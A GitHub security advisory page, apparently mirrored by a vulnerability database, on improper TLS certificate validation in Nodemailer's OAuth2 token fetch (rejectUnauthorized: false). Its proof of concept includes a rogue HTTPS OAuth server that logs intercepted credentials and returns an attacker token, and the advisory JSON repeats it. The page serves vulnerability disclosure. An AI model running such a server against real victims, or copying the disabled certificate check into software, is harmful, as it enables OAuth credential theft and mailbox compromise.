GHSA-R7G4-QG5F-QQM2

Vulnerability from github – Published: 2026-06-15 17:34 – Updated: 2026-06-15 17:34
VLAI
Summary
Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception
Details

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

  • OAuth client_secret
  • refresh_token
  • access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

  • self-signed certificates are trusted
  • invalid CA chains are accepted
  • hostname validation is bypassed
  • attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)

const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});

Nodemailer OAuth2 Test (test.js)

const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: 'redacted@example.com',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: 'redacted@example.com',
    to: 'redacted@example.com',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

  • Start malicious HTTPS OAuth server:
  • node poc/evil-oauth.js
  • Run Nodemailer OAuth2 test:
  • node test.js
  • Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC image

Impact

  • OAuth credential theft
  • unauthorized email access
  • persistent token abuse
  • unauthorized mail sending
  • mailbox compromise
  • interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T17:34:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n        \u2193\nXOAuth2 token generation\n        \u2193\nInternal HTTPS fetch client\n        \u2193\nHTTPS request with rejectUnauthorized:false\n        \u2193\nAttacker-controlled/self-signed endpoint trusted\n        \u2193\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n    host: process.env.SMTP_HOST,\n    port: process.env.SMTP_PORT,\n    secure: false,\n    auth: {\n        user: process.env.SMTP_USER,\n        pass: process.env.SMTP_PASS\n    }\n});\n\napp.post(\"/send\", async (req, res) =\u003e {\n    try {\n        const { to, subject, text, html } = req.body;\n\n        const info = await transporter.sendMail({\n            from: `\"Mailer\" \u003c${process.env.SMTP_USER}\u003e`,\n            to,\n            subject,\n            text,\n            html\n        });\n\n        res.json({\n            success: true,\n            messageId: info.messageId\n        });\n\n    } catch (err) {\n        console.error(err);\n        res.status(500).json({\n            success: false,\n            error: err.message\n        });\n    }\n});\n\napp.listen(process.env.PORT, () =\u003e {\n    console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require(\u0027https\u0027);\nconst fs = require(\u0027fs\u0027);\n\nhttps.createServer({\n    key: fs.readFileSync(\u0027./key.pem\u0027),\n    cert: fs.readFileSync(\u0027./cert.pem\u0027)\n}, (req, res) =\u003e {\n\n    console.log(\u0027\\n==== REQUEST INTERCEPTED ====\u0027);\n    console.log(req.method, req.url);\n\n    let body = \u0027\u0027;\n\n    req.on(\u0027data\u0027, chunk =\u003e {\n        body += chunk;\n    });\n\n    req.on(\u0027end\u0027, () =\u003e {\n\n        console.log(\u0027\\nPOST BODY:\u0027);\n        console.log(body);\n\n        res.writeHead(200, {\n            \u0027Content-Type\u0027: \u0027application/json\u0027\n        });\n\n        res.end(JSON.stringify({\n            access_token: \u0027attacker_token\u0027,\n            expires_in: 3600\n        }));\n    });\n\n}).listen(8443, () =\u003e {\n    console.log(\u0027Malicious HTTPS OAuth server listening on 8443\u0027);\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require(\u0027./\u0027);\n\nconst transporter = nodemailer.createTransport({\n    service: \u0027gmail\u0027,\n\n    auth: {\n        type: \u0027OAuth2\u0027,\n\n        user: \u0027redacted@example.com\u0027,\n\n        clientId: \u0027CLIENT_ID_REDACTED\u0027,\n        clientSecret: \u0027CLIENT_SECRET_REDACTED\u0027,\n\n        refreshToken: \u0027REFRESH_TOKEN_REDACTED\u0027,\n\n        accessUrl: \u0027https://localhost:8443/token\u0027\n    }\n});\n\ntransporter.sendMail({\n    from: \u0027redacted@example.com\u0027,\n    to: \u0027redacted@example.com\u0027,\n    subject: \u0027PoC\u0027,\n    text: \u0027test\u0027\n\n}, (err, info) =\u003e {\n\n    console.log(\u0027\\n==== NODEMAILER RESULT ====\u0027);\n\n    if (err) {\n        console.error(err);\n    } else {\n        console.log(info);\n    }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n\u003cimg width=\"1919\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516\" /\u003e\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.",
  "id": "GHSA-r7g4-qg5f-qqm2",
  "modified": "2026-06-15T17:34:48Z",
  "published": "2026-06-15T17:34:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…